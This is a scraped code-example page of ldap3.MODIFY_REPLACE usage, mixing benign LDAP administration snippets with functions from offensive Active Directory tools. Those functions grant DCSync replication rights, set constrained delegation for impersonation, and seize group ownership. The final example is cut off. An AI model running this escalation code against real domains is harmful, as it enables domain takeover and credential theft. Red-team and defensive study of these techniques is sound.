Python ldap3.MODIFY_REPLACE Examples
The following are 22
code examples of ldap3.MODIFY_REPLACE().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
ldap3
, or try the search function
.
Example #1
Source File: LDAPIdResolver.py From privacyidea with GNU Affero General Public License v3.0 | 6 votes |
def _create_ldap_modify_changes(self, attributes, uid): """ Identifies if an LDAP attribute already exists and if the value needs to be updated, deleted or added. :param attributes: Attributes to be updated :type attributes: dict :param uid: The uid of the user object in the resolver :type uid: basestring :return: dict with attribute name as keys and values """ modify_changes = {} uinfo = self.getUserInfo(uid) for fieldname, value in attributes.items(): if value: if fieldname in uinfo: modify_changes[fieldname] = [MODIFY_REPLACE, [value]] else: modify_changes[fieldname] = [MODIFY_ADD, [value]] else: modify_changes[fieldname] = [MODIFY_DELETE, [value]] return modify_changes
Example #2
Source File: restore.py From CVE-2019-1040 with MIT License | 5 votes |
def remove_owner(ldapconnection, data): # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) usersid = data['old_owner_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m('%s is owned by the same user as before exploitation, skipping' % data['target_dn']) return True secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) secdesc_data = secDesc.getData() res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls) if res: print_o('Owner restore succesful') return True else: # Constraintintersection means we can't change the owner to this SID # TODO: investigate why this is and possible workarounds if ldapconnection.result['result'] == 19: print_f('Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid)) # Treat this as a success return True raise RestoreException('Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result)))
Example #3
Source File: post-setup-add-components.py From community-edition-setup with MIT License | 5 votes |
def installRadius(): tmp_dir = os.path.join(setupObj.staticFolder, 'radius', 'templates') radius_ldif_fp = os.path.join(tmp_dir, 'gluu_radius_server.ldif') setupObj.renderTemplateInOut( os.path.join(radius_ldif_fp), tmp_dir, os.path.join(ces_dir, 'output'), ) setupObj.install_gluu_radius() setupObj.run([setupObj.cmd_chown, 'radius:gluu', os.path.join(setupObj.certFolder, 'gluu-radius.private-key.pem')]) setupObj.run([setupObj.cmd_chmod, '660', os.path.join(setupObj.certFolder, 'gluu-radius.private-key.pem')]) dn, oxAuthConfiguration = get_oxAuthConfiguration_ldap() oxAuthConfiguration['openidScopeBackwardCompatibility'] = True oxAuthConfiguration['legacyIdTokenClaims'] = True oxAuthConfiguration_js = json.dumps(oxAuthConfiguration, indent=2) ldap_conn.modify( dn, {"oxAuthConfDynamic": [ldap3.MODIFY_REPLACE, oxAuthConfiguration_js]} ) ldap_conn.modify( 'ou=configuration,o=gluu', {"gluuRadiusEnabled": [ldap3.MODIFY_REPLACE, 'true']} ) ldap_conn.modify( 'inum=B8FD-4C11,ou=scripts,o=gluu', {"oxEnabled": [ldap3.MODIFY_REPLACE, 'true']} )
Example #4
Source File: ldap.py From lego with MIT License | 5 votes |
def change_password(self, uid, password_hash): dn = ",".join((f"uid={uid}", self.user_base)) changes = {"userPassword": [(MODIFY_REPLACE, ["{CRYPT}" + password_hash])]} self.connection.modify(dn, changes)
Example #5
Source File: ldap.py From lego with MIT License | 5 votes |
def update_group_members(self, cn, members): dn = ",".join((f"cn={cn}", self.group_base)) if members: changes = {"memberUid": [(MODIFY_REPLACE, members)]} else: changes = {"memberUid": [(MODIFY_DELETE, [])]} self.connection.modify(dn, changes)
Example #6
Source File: restore.py From CVE-2019-1040 with MIT License | 5 votes |
def remove_domain_sync(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \ RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_i('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('Domain Sync privileges restored successfully') return True else: raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #7
Source File: restore.py From CVE-2019-1040 with MIT License | 5 votes |
def remove_addmember_privs(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: # Manual operation accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_i('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('AddMember privileges restored successfully') return True else: raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #8
Source File: restore.py From aclpwn.py with MIT License | 5 votes |
def remove_addmember_privs(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: # Manual operation accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP if RestoreOperation.dacl_remove_ace(secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('AddMember privileges restored successfully') return True else: raise RestoreException('Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #9
Source File: restore.py From aclpwn.py with MIT License | 4 votes |
def remove_domain_sync(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search(data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m('%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \ RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException('%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify(data['target_dn'], {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('Domain Sync privileges restored successfully') return True else: raise RestoreException('Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result)))
Example #10
Source File: ldap_utilities_set_password.py From resilient-community-apps with MIT License | 4 votes |
def _ldap_utilities_set_password_function(self, event, *args, **kwargs): """Function: A function that allows you to set a new password for an LDAP entry given the entry's DN""" log = logging.getLogger(__name__) try: yield StatusMessage("Starting ldap_utilities_set_password") # Instansiate helper (which gets appconfigs from file) helper = LDAPUtilitiesHelper(self.options) yield StatusMessage("Appconfig Settings OK") # Get function inputs input_ldap_dn = helper.get_function_input(kwargs, "ldap_dn") # text (required) input_ldap_new_password = helper.get_function_input(kwargs, "ldap_new_password") # text (required) yield StatusMessage("Function Inputs OK") # Instansiate LDAP Server and Connection c = helper.get_ldap_connection() try: # Bind to the connection c.bind() except Exception as err: raise ValueError("Cannot connect to LDAP Server. Ensure credentials are correct\n Error: {0}".format(err)) # Inform user msg = "" if helper.LDAP_IS_ACTIVE_DIRECTORY: msg = "Connected to {0}".format("Active Directory") else: msg = "Connected to {0}".format("LDAP Server") yield StatusMessage(msg) res = False try: yield StatusMessage("Attempting to change password") if helper.LDAP_IS_ACTIVE_DIRECTORY: res = c.extend.microsoft.modify_password(str(input_ldap_dn), input_ldap_new_password) else: res = c.modify(input_ldap_dn, {'userPassword': [(MODIFY_REPLACE, [input_ldap_new_password])]}) except Exception: raise ValueError("Could not change password. Check input_ldap_dn and input_ldap_new_password are valid") finally: # Unbind connection c.unbind() results = { "success": res, "user_dn": input_ldap_dn } log.info("Completed") # Produce a FunctionResult with the results yield FunctionResult(results) except Exception: yield FunctionError()
Example #11
Source File: ldapattack.py From CVE-2019-1040 with MIT License | 4 votes |
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') config.set_priv(True) # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
Example #12
Source File: ldapattack.py From CVE-2019-1040 with MIT License | 4 votes |
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
Example #13
Source File: _ldap.py From treadmill with Apache License 2.0 | 4 votes |
def _diff_entries(old_entry, new_entry): """Diff the entries and produce a diff dictionary suitable for update.""" # Adapted from python-ldap (http://www.python-ldap.org/) modlist # https://github.com/pyldap/pyldap/blob/master/Lib/ldap/modlist.py#L51 diff = {} attrtype_lower_map = {} for attr in old_entry.keys(): attrtype_lower_map[attr.lower()] = attr for attrtype in new_entry.keys(): attrtype_lower = attrtype.lower() # Filter away null-strings new_values = [ value for value in new_entry[attrtype] if value is not None ] if attrtype_lower in attrtype_lower_map: old_values = old_entry.get(attrtype_lower_map[attrtype_lower], []) old_values = [ value for value in old_values if value is not None ] del attrtype_lower_map[attrtype_lower] else: old_values = [] if not old_values and new_values: # Add a new attribute to entry diff.setdefault(attrtype, []).append( (ldap3.MODIFY_ADD, new_values) ) elif old_values and new_values: # Replace existing attribute if _diff_attribute_values(old_values, new_values): diff.setdefault(attrtype, []).append( (ldap3.MODIFY_REPLACE, new_values)) elif old_values and not new_values: # Completely delete an existing attribute diff.setdefault(attrtype, []).append( (ldap3.MODIFY_DELETE, [])) # Remove all attributes of old_entry which are not present # in new_entry at all for attr in attrtype_lower_map: attrtype = attrtype_lower_map[attr] diff.setdefault(attrtype, []).append((ldap3.MODIFY_DELETE, [])) return diff
Example #14
Source File: ldapattack.py From Slackor with GNU General Public License v3.0 | 4 votes |
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
Example #15
Source File: ldapattack.py From Slackor with GNU General Public License v3.0 | 4 votes |
def delegateAttack(self, usersam, targetsam, domainDumper): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
Example #16
Source File: ldapattack.py From Exchange2domain with MIT License | 4 votes |
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username) LOG.info('Try using DCSync with secretsdump.py and this user :)') config.set_priv(True) self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=[ 'SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
Example #17
Source File: action.py From insightconnect-plugins with MIT License | 4 votes |
def run(self, params={}): conn = self.connection.conn dn = params.get('distinguished_name') dn = ADUtils.dn_normalize(dn) temp_list = ADUtils.dn_escape_and_split(dn) dc_list = [s for s in temp_list if 'DC' in s] dc = ','.join(dc_list) escaped_dn = ','.join(temp_list) pairs = ADUtils.find_parentheses_pairs(escaped_dn) # replace ( and ) when they are part of a name rather than a search parameter if pairs: for key, value in pairs.items(): tempstring = escaped_dn if tempstring.find('=', key, value) == -1: escaped_dn = escaped_dn[:value] + '\\29' + escaped_dn[value + 1:] escaped_dn = escaped_dn[:key] + '\\28' + escaped_dn[key + 1:] self.logger.info(escaped_dn) conn.search(search_base=dc, search_filter=f'(distinguishedName={escaped_dn})', attributes=['userAccountControl'] ) results = conn.response dn_test = [d['dn'] for d in results if 'dn' in d] try: dn_test[0] except Exception as ex: self.logger.error('The DN ' + dn + ' was not found') raise PluginException(cause='The DN was not found', assistance='The DN ' + dn + ' was not found') from ex user_list = [d["attributes"] for d in results if "attributes" in d] user_control = user_list[0] try: account_status = user_control['userAccountControl'] except Exception as ex: self.logger.error('The DN ' + dn + ' is not a user') raise PluginException(cause='The DN is not a user', assistance='The DN ' + dn + ' is not a user') from ex user_account_flag = 2 account_status = account_status & ~user_account_flag conn.modify(escaped_dn, {'userAccountControl': [(MODIFY_REPLACE, [account_status])]}) result = conn.result output = result['description'] if result['result'] == 0: return {'success': True} self.logger.error('failed: error message %s' % output) return {'success': False}
Example #18
Source File: exploitation.py From aclpwn.py with MIT License | 4 votes |
def write_owner(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) group_sam = get_sam_name(group_bh_name) # Dictionary for restore data restoredata = {} ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m('%s is already owned by %s, skipping' % (group_sam, user_sam)) return True # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical() # Modify the sid secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Owner change successful') restoredata['success'] = True state.push_history('write_owner', restoredata) return True else: restoredata['success'] = False state.push_history('write_owner', restoredata) raise ExploitException('Failed to change owner of group %s to %s: %s' % (dn, userdn, str(ldapconnection.result)))
Example #19
Source File: exploitation.py From aclpwn.py with MIT License | 4 votes |
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying group security descriptor') group_sam = get_sam_name(group_bh_name) ldapconnection.search(get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid # We need "write property" here to write to the "member" attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP # this is the GUID of the Member attribute secDesc['Dacl']['Data'].append(create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search(dn, '(objectClass=*)', search_scope=ldap3.BASE , attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD) # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_addmember_privs', restoredata) return True else: restoredata['success'] = False state.push_history('add_addmember_privs', restoredata) # filter out already exists? raise ExploitException('Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result)))
Example #20
Source File: exploitation.py From aclpwn.py with MIT License | 4 votes |
def add_domain_sync(ldapconnection, state, user_sam, domain_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying domain security descriptor') ldapconnection.search(get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] # This shouldn't happen but lets be sure just in case if ldap2domain(entry.entry_dn).upper() != domain_name.upper(): raise ExploitException('Wrong domain! LDAP returned the domain %s but escalation was requested to %s' % (ldap2domain(entry.entry_dn).upper(), domain_name.upper())) secDescData = entry['nTSecurityDescriptor'].raw_values[0] # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # We need "control access" here for the extended attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search(get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = 